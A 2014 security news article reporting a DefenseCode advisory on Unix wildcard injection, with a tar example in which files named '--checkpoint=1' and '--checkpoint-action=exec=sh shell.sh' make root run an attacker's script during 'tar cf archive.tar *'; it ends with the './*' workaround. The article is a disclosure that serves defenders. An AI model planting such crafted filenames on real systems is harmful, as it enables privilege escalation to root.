Exploiting wildcards on Linux
by Berislav Kucan - Friday, 27 June 2014.
DefenseCode released an advisory in which researcher Leon Juranic details security issues related to using wildcards in Unix commands. The topic has been talked about in the past on the Full Disclosure mailing list, where some people saw this more as a feature than as a bug.

There are clearly a number of potential security issues surrounding this, so Mr. Juranic provided five actual exploitation examples that stress out the risks accompanying practice of using the * wildcard with Linux/Unix commands.

The issue can be manifested by using specific options in chown, tar, rsync etc. By using specially crafted filenames, an attacker can inject arbitrary arguments to shell commands run by other users - root as well.

One of the examples provided is the tar arbitrary command execution. The binary has two options that can be used for poisoning:

--checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)

--checkpoint-action=ACTION
execute ACTION on each checkpoint


By using tar with these options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. "Tricking" root to use the specific options is quite easy, and that's where the wildcard comes in handy.

Running tar cf archive.tar * on a folder with these files seems pretty straightforward and benign.

[root@defensecode public]# ls -al
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php

The problem arises if the user created a couple of fake files and a shell script that contains any arbitrary command.

[root@defensecode public]# ls -al
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh

By using the * wildcard in the tar command, these files will be understood as passed options to the tar binary and shell.sh will be executed as root.

The advisory in question details other similar exploitation methods. Also, around the same time when Mr. Juranic informed us about his work, another researcher posted to the Full Disclosure mailing list a similarly themed research focused on exploiting wildcards.

Is there a workaround? To quote the most upvoted post on a recent Reddit thread regarding wildcard exploitation: "./* Done".

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